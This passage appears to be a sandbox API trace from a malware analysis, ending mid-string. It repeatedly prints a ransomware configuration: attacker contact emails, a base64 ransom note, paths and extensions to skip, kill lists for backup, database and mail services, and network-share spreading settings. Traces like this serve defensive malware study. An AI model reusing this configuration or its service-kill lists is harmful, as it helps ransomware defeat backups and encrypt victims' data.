\"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 0 [0129.778] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc028, Size=0xc) returned 0x6c3898 [0129.778] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce808 [0129.778] strtol (in: _Str="1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xaf82c, _Radix=0 | out: _EndPtr=0xaf82c*=",\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 1500 [0129.778] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6c3898, Size=0x10) returned 0x6c38b0 [0129.778] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce828 [0129.778] strtol (in: _Str="51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xaf82c, _Radix=0 | out: _EndPtr=0xaf82c*=",\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgb